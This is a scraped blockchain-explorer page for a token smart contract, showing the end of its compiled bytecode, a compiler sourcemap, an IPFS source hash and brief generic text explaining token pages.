600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561058157610581610e7b565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060208284031215610ee157600080fd5b8151610d5781610d5e565b634e487b7160e01b600052603260045260246000fd5b600060018201610f1457610f14610e7b565b5060010190565b8082018082111561058157610581610e7b565b808202811582820484141761058157610581610e7b565b600082610f6257634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220875dd22fad4bfb66a1497104d2ed816d2179afbbf229755b2c85ca1227ecb88764736f6c63430008120033

Deployed Bytecode Sourcemap

2763:7493:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4885:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5648:159;;;;;;;;;;-1:-1:-1;5648:159:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;5648:159:0;1004:187:1;5089:100:0;;;;;;;;;;-1:-1:-1;5169:12:0;;5089:100;;;1342:25:1;;;1330:2;1315:18;5089:100:0;1196:177:1;5815:336:0;;;;;;;;;;-1:-1:-1;5815:336:0;;;;;:::i;:::-;;:::i;4987:94::-;;;;;;;;;;-1:-1:-1;5064:9:0;;4987:94;;5064:9;;;;1853:36:1;;1841:2;1826:18;4987:94:0;1711:184:1;3055:49:0;;;;;;;;;;-1:-1:-1;3055:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3401:31;;;;;;;;;;;;;;;;3199:44;;;;;;;;;;-1:-1:-1;3199:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3477:27;;;;;;;;;;-1:-1:-1;3477:27:0;;;;-1:-1:-1;;;;;3477:27:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;3477:27:0;2091:203:1;3154:36:0;;;;;;;;;;-1:-1:-1;3154:36:0;;;;-1:-1:-1;;;;;3154:36:0;;;5197:119;;;;;;;;;;-1:-1:-1;5197:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5290:18:0;5263:7;5290:18;;;:9;:18;;;;;;;5197:119;2386:148;;;;;;;;;;;;;:::i;:::-;;9655:296;;;;;;;;;;-1:-1:-1;9655:296:0;;;;;:::i;:::-;;:::i;8216:26::-;;;;;;;;;;;;;;;;2189:79;;;;;;;;;;-1:-1:-1;2227:7:0;2254:6;-1:-1:-1;;;;;2254:6:0;2189:79;;4779:98;;;;;;;;;;;;;:::i;5324:165::-;;;;;;;;;;-1:-1:-1;5324:165:0;;;;;:::i;:::-;;:::i;3439:29::-;;;;;;;;;;;;;;;;3366:28;;;;;;;;;;;;;;;;9959:257;;;;;;;;;;-1:-1:-1;9959:257:0;;;;;:::i;:::-;;:::i;3329:30::-;;;;;;;;;;;;;;;;5497:143;;;;;;;;;;-1:-1:-1;5497:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5605:18:0;;;5578:7;5605:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5497:143;2932:26;;;;;;;;;;-1:-1:-1;2932:26:0;;;;-1:-1:-1;;;;;2932:26:0;;;8249:99;;;;;;;;;;-1:-1:-1;8249:99:0;;;;;:::i;:::-;;:::i;2542:214::-;;;;;;;;;;-1:-1:-1;2542:214:0;;;;;:::i;:::-;;:::i;4885:94::-;4933:13;4966:5;4959:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4885:94;:::o;5648:159::-;5723:4;5740:37;5749:10;5761:7;5770:6;5740:8;:37::i;:::-;-1:-1:-1;5795:4:0;5648:159;;;;;:::o;5815:336::-;5913:4;5930:36;5940:6;5948:9;5959:6;5930:9;:36::i;:::-;-1:-1:-1;;;;;5981:19:0;;3318:1;5981:19;;;:11;:19;;;;;;;;6001:10;5981:31;;;;;;;;-1:-1:-1;;5981:38:0;5977:145;;-1:-1:-1;;;;;6070:19:0;;;;;;:11;:19;;;;;;;;6090:10;6070:31;;;;;;;;:40;;6104:6;;6070:40;:::i;:::-;-1:-1:-1;;;;;6036:19:0;;;;;;:11;:19;;;;;;;;6056:10;6036:31;;;;;;;:74;5977:145;-1:-1:-1;6139:4:0;5815:336;;;;;:::o;2386:148::-;2316:6;;-1:-1:-1;;;;;2316:6:0;2326:10;2316:20;2308:50;;;;-1:-1:-1;;;2308:50:0;;;;;;;:::i;:::-;;;;;;;;;2493:1:::1;2477:6:::0;;2456:40:::1;::::0;-1:-1:-1;;;;;2477:6:0;;::::1;::::0;2456:40:::1;::::0;2493:1;;2456:40:::1;2524:1;2507:19:::0;;-1:-1:-1;;;;;;2507:19:0::1;::::0;;2386:148::o;9655:296::-;-1:-1:-1;;;;;9738:26:0;;9734:210;;9788:11;;9780:37;;-1:-1:-1;;;;;9788:11:0;;;;9780:37;;;;;9810:6;;9788:11;9780:37;9788:11;9780:37;9810:6;9788:11;9780:37;;;;;;;;;;;;;;;;;;;;;9655:296;;:::o;9734:210::-;-1:-1:-1;;;;;9837:29:0;;9861:4;9837:29;9834:110;;9912:11;;9882:50;;-1:-1:-1;;;9882:50:0;;-1:-1:-1;;;;;9912:11:0;;;9882:50;;;5027:51:1;5094:18;;;5087:34;;;9882:29:0;;;;;;5000:18:1;;9882:50:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;9834:110::-;9655:296;;:::o;4779:98::-;4829:13;4862:7;4855:14;;;;;:::i;5324:165::-;5402:4;5419:40;5429:10;5441:9;5452:6;5419:9;:40::i;9959:257::-;2316:6;;-1:-1:-1;;;;;2316:6:0;2326:10;2316:20;2308:50;;;;-1:-1:-1;;;2308:50:0;;;;;;;:::i;:::-;10085:3:::1;10066:22:::0;::::1;10058:31;;;::::0;::::1;;10105:9;10100:109;10116:20:::0;;::::1;10100:109;;;10192:5;10158:17;:31;10176:9;;10186:1;10176:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10158:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10158:31:0;:39;;-1:-1:-1;;10158:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10138:3:::1;::::0;::::1;:::i;:::-;;;10100:109;;;;9959:257:::0;;;:::o;8249:99::-;2316:6;;-1:-1:-1;;;;;2316:6:0;2326:10;2316:20;2308:50;;;;-1:-1:-1;;;2308:50:0;;;;;;;:::i;:::-;8318:11:::1;:22:::0;8249:99::o;2542:214::-;2316:6;;-1:-1:-1;;;;;2316:6:0;2326:10;2316:20;2308:50;;;;-1:-1:-1;;;2308:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2631:22:0;::::1;2623:43;;;::::0;-1:-1:-1;;;2623:43:0;;5856:2:1;2623:43:0::1;::::0;::::1;5838:21:1::0;5895:1;5875:18;;;5868:29;-1:-1:-1;;;5913:18:1;;;5906:38;5961:18;;2623:43:0::1;5654:331:1::0;2623:43:0::1;2703:6;::::0;;2682:38:::1;::::0;-1:-1:-1;;;;;2682:38:0;;::::1;::::0;2703:6;::::1;::::0;2682:38:::1;::::0;::::1;2731:6;:17:::0;;-1:-1:-1;;;;;;2731:17:0::1;-1:-1:-1::0;;;;;2731:17:0;;;::::1;::::0;;;::::1;::::0;;2542:214::o;6622:177::-;-1:-1:-1;;;;;6707:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6759:32;;1342:25:1;;;6759:32:0;;1315:18:1;6759:32:0;;;;;;;6622:177;;;:::o;7000:1208::-;-1:-1:-1;;;;;5290:18:0;;7114:15;5290:18;;;:9;:18;;;;;;7166:17;;;;7158:46;;;;-1:-1:-1;;;7158:46:0;;6192:2:1;7158:46:0;;;6174:21:1;6231:2;6211:18;;;6204:30;-1:-1:-1;;;6250:18:1;;;6243:46;6306:18;;7158:46:0;5990:340:1;7158:46:0;-1:-1:-1;;;;;7980:23:0;;7217:12;7980:23;;;:17;:23;;;;;;7217:12;;7980:23;;7979:24;:50;;;;-1:-1:-1;;;;;;8008:21:0;;;;;;:17;:21;;;;;;;;8007:22;7979:50;:61;;;;-1:-1:-1;8034:6:0;;;;8033:7;7979:61;7975:108;;;8067:4;8057:14;;7975:108;-1:-1:-1;;;;;8099:16:0;;;;;;:12;:16;;;;;;;;8095:42;;;-1:-1:-1;8130:4:0;8095:42;8149:51;8164:4;8170:2;8174:6;8182:7;8191:8;8149:14;:51::i;:::-;7103:1105;;;7000:1208;;;:::o;8356:1004::-;-1:-1:-1;;;;;8552:17:0;;;;;;:9;:17;;;;;;:27;;8572:7;;8552:27;:::i;:::-;-1:-1:-1;;;;;8532:17:0;;;;;;:9;:17;;;;;:47;;;;8620:587;;;;8648:14;8683:8;8679:215;;;8736:10;;8721:12;;:25;;;;:::i;:::-;8712:34;;8679:215;;;8810:9;;8796:11;;:23;;;;:::i;:::-;8787:32;;8857:11;;8846:7;:22;;8838:40;;;;-1:-1:-1;;;8838:40:0;;6667:2:1;8838:40:0;;;6649:21:1;6706:1;6686:18;;;6679:29;-1:-1:-1;;;6724:18:1;;;6717:36;6770:18;;8838:40:0;6465:329:1;8838:40:0;8908:18;8948:5;8929:16;8939:6;8929:7;:16;:::i;:::-;:24;;;;:::i;:::-;8908:45;-1:-1:-1;8972:14:0;;8968:228;;9007:23;9020:10;9007:23;;:::i;:::-;9094:4;9076:24;;;;:9;:24;;;;;;9007:23;;-1:-1:-1;9076:37:0;;9103:10;;9076:37;:::i;:::-;9067:4;9049:24;;;;:9;:24;;;;;;;:64;;;;9137:43;;-1:-1:-1;;;;;9137:43:0;;;;;;;9169:10;1342:25:1;;1330:2;1315:18;;1196:177;9137:43:0;;;;;;;;8968:228;8633:574;;8620:587;9266:19;9276:9;9266:7;:19;:::i;:::-;-1:-1:-1;;;;;9242:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;9219:20:0;;;;;;;:9;:20;;;;;:67;;;;9302:48;;;9330:19;9340:9;9330:7;:19;:::i;:::-;9302:48;;1342:25:1;;;1330:2;1315:18;9302:48:0;;;;;;;8521:839;8356:1004;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;:::-;2041:39;1900:186;-1:-1:-1;;;1900:186:1:o;2529:118::-;2615:5;2608:13;2601:21;2594:5;2591:32;2581:60;;2637:1;2634;2627:12;2581:60;2529:118;:::o;2652:750::-;2744:6;2752;2760;2813:2;2801:9;2792:7;2788:23;2784:32;2781:52;;;2829:1;2826;2819:12;2781:52;2869:9;2856:23;2898:18;2939:2;2931:6;2928:14;2925:34;;;2955:1;2952;2945:12;2925:34;2993:6;2982:9;2978:22;2968:32;;3038:7;3031:4;3027:2;3023:13;3019:27;3009:55;;3060:1;3057;3050:12;3009:55;3100:2;3087:16;3126:2;3118:6;3115:14;3112:34;;;3142:1;3139;3132:12;3112:34;3197:7;3190:4;3180:6;3177:1;3173:14;3169:2;3165:23;3161:34;3158:47;3155:67;;;3218:1;3215;3208:12;3155:67;3249:4;3241:13;;;;-1:-1:-1;3273:6:1;-1:-1:-1;;3314:20:1;;3301:34;3344:28;3301:34;3344:28;:::i;:::-;3391:5;3381:15;;;2652:750;;;;;:::o;3407:260::-;3475:6;3483;3536:2;3524:9;3515:7;3511:23;3507:32;3504:52;;;3552:1;3549;3542:12;3504:52;3575:29;3594:9;3575:29;:::i;:::-;3565:39;;3623:38;3657:2;3646:9;3642:18;3623:38;:::i;:::-;3613:48;;3407:260;;;;;:::o;3672:180::-;3731:6;3784:2;3772:9;3763:7;3759:23;3755:32;3752:52;;;3800:1;3797;3790:12;3752:52;-1:-1:-1;3823:23:1;;3672:180;-1:-1:-1;3672:180:1:o;3857:380::-;3936:1;3932:12;;;;3979;;;4000:61;;4054:4;4046:6;4042:17;4032:27;;4000:61;4107:2;4099:6;4096:14;4076:18;4073:38;4070:161;;4153:10;4148:3;4144:20;4141:1;4134:31;4188:4;4185:1;4178:15;4216:4;4213:1;4206:15;4070:161;;3857:380;;;:::o;4242:127::-;4303:10;4298:3;4294:20;4291:1;4284:31;4334:4;4331:1;4324:15;4358:4;4355:1;4348:15;4374:128;4441:9;;;4462:11;;;4459:37;;;4476:18;;:::i;4507:341::-;4709:2;4691:21;;;4748:2;4728:18;;;4721:30;-1:-1:-1;;;4782:2:1;4767:18;;4760:47;4839:2;4824:18;;4507:341::o;5132:245::-;5199:6;5252:2;5240:9;5231:7;5227:23;5223:32;5220:52;;;5268:1;5265;5258:12;5220:52;5300:9;5294:16;5319:28;5341:5;5319:28;:::i;5382:127::-;5443:10;5438:3;5434:20;5431:1;5424:31;5474:4;5471:1;5464:15;5498:4;5495:1;5488:15;5514:135;5553:3;5574:17;;;5571:43;;5594:18;;:::i;:::-;-1:-1:-1;5641:1:1;5630:13;;5514:135::o;6335:125::-;6400:9;;;6421:10;;;6418:36;;;6434:18;;:::i;6799:168::-;6872:9;;;6903;;6920:15;;;6914:22;;6900:37;6890:71;;6941:18;;:::i;6972:217::-;7012:1;7038;7028:132;;7082:10;7077:3;7073:20;7070:1;7063:31;7117:4;7114:1;7107:15;7145:4;7142:1;7135:15;7028:132;-1:-1:-1;7174:9:1;;6972:217::o

Swarm Source

ipfs://875dd22fad4bfb66a1497104d2ed816d2179afbbf229755b2c85ca1227ecb887
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.